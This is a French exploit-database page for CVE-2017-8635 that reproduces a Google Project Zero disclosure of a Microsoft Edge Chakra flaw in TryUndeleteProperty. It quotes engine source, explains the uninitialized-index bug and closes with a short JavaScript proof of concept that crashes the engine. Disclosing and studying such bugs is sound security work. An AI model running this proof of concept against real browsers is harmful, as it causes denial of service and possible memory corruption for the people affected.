Exploit matérialisé

CVE-2017-8635

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB dos windows Vérifié

Source

Microsoft Edge Chakra - 'TryUndeleteProperty' Incorrect Usage (Denial of Service)

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1281

Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.

bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(
    DynamicObject *const object,
    TPropertyIndex *const propertyIndex)
{
    if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)
    {
        return false;
    }

    *propertyIndex = deletedPropertyIndex;
    deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));
    return true;
}

bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(
    DynamicObject *const object,
    const TPropertyIndex existingPropertyIndex,
    TPropertyIndex *const propertyIndex)
{
    ...

    if(!IsReusablePropertyIndex(existingPropertyIndex))
    {
        return false;
    }

    ...

    const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);
    Assert(reused);

    ...
    return true;
}


BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)
{
    ...
    if (descriptor->Attributes & PropertyDeleted)
    {
        ...
        if(isUnordered)
        {
            TPropertyIndex propertyIndex;
            if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))
            {
                Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));
                descriptor = propertyMap->GetReferenceAt(propertyIndex);
            }
        }

        if (IsNotExtensibleSupported)
        {
            bool isForce = (flags & PropertyOperation_Force) != 0;
            if (!isForce)
            {
                if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))
                {
                    return FALSE; <<------ (a)
                }
            }
        }
        ...
        descriptor->Attributes = PropertyDynamicTypeDefaults;
        ...
    }
    ...
}

"TryUndeleteProperty" is calling "TryReuseDeletedPropertyIndex" on the assumption that the return value of it is always true. But if the method exits at (a), "descriptor->Attributes" will remain with "PropertyDeleted" set, and therefore we can call "TryUndeleteProperty" again and again until "deletedPropertyIndex" becames "NoSlots" which makes "TryReuseDeletedPropertyIndex" return false.

In the debug build, the PoC hits the assertion "Assert(reused);". In the release build, "propertyIndex" remains uninitialized, this will cause a memory corruption.

PoC:
-->

const kNumProperties = 100;

let o = {};
for (let i = 0; i < kNumProperties; ++i)
    o['a' + i] = i;

Object.preventExtensions(o);  // IsNotExtensibleSupported && !this->VerifyIsExtensible

for (let i = 0; i < kNumProperties; ++i)
    delete o['a' + i];

for (let i = 0; i < 0x1000; ++i)
    o['a0'] = 1;  // calling TryUndeleteProperty again again